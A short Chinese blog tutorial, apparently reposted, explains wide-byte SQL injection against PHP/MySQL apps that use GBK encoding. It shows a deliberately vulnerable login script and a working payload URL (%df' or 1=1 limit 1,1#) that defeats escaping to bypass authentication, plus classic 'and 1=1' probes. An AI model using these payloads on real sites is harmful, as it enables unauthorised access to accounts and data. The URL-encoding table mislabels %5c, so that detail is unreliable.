码迷,mamicode.com
首页 > 数据库 > 详细

SQL注入之宽字节注入

时间:2020-02-25 20:13:28      阅读:65      评论:0      收藏:0      [点我收藏+]

标签:之一   str   语句   构造   query   经典的   select   res   mysq   

简介

宽字节注入是相对于单字节注入而言的。单字节注入就是大家平时的直接在带有参数ID的URL后面 追回SQL语句进行注入。比如:http://www.hackest.cn/article.php?id=1and 1=1/*

http://www.hackest.cn/article.php?id=1and 1=2/*,这个经典的判断目标是否存在注入的例子就是单字节注入。

理论上说,只要数据库连接代码设置了GBK编码,或者是默认编码就 是GBK,那现在的程序里到处都是注入漏洞。事实上,这种变换在XSS等领域也发挥了巨大的作用,在PHP+Linux后台程序结合的时候,还可能造成命 令注入,也就是说能可以在注入点直接执行Linux系统命令。比如登录文件login.php的代码如下:

<?php $conn=mysql_connect("localhost","root","hackest"); mysql_query("SET NAMES ‘GBK‘"); mysql_select_db("test",$conn); $user=mysql_escape_string($_GET[‘user‘]); $pass=mysql_escape_string($_GET[‘pass‘]); $sql="select * from cms_user where username=‘$user‘ and password=‘$pass‘"; $result=mysql_query($sql,$conn); while ($row=mysql_fetch_array($result, MYSQL_ASSOC)) { $rows[]=$row; } ?> 

则可以通过构造以下语句进行注入:

http://www.hackest.cn/login.php?user=%df‘%20or%201=1%20limit%201,1%23&pass=

%20是空格的URL编码,%23是#的URL编码,Mysql注释符之一。对应的SQL语句是:

select * fromcms_user where username=‘運‘or 1=1 limit 1,1#‘ and password="

以下为URL编码:

%27---------单引号

%20----------空格

%23-----------#号

%5c------------/反斜杠

 

SQL注入之宽字节注入

标签:之一   str   语句   构造   query   经典的   select   res   mysq   

原文地址:https://www.cnblogs.com/leeqizhi/p/12363177.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!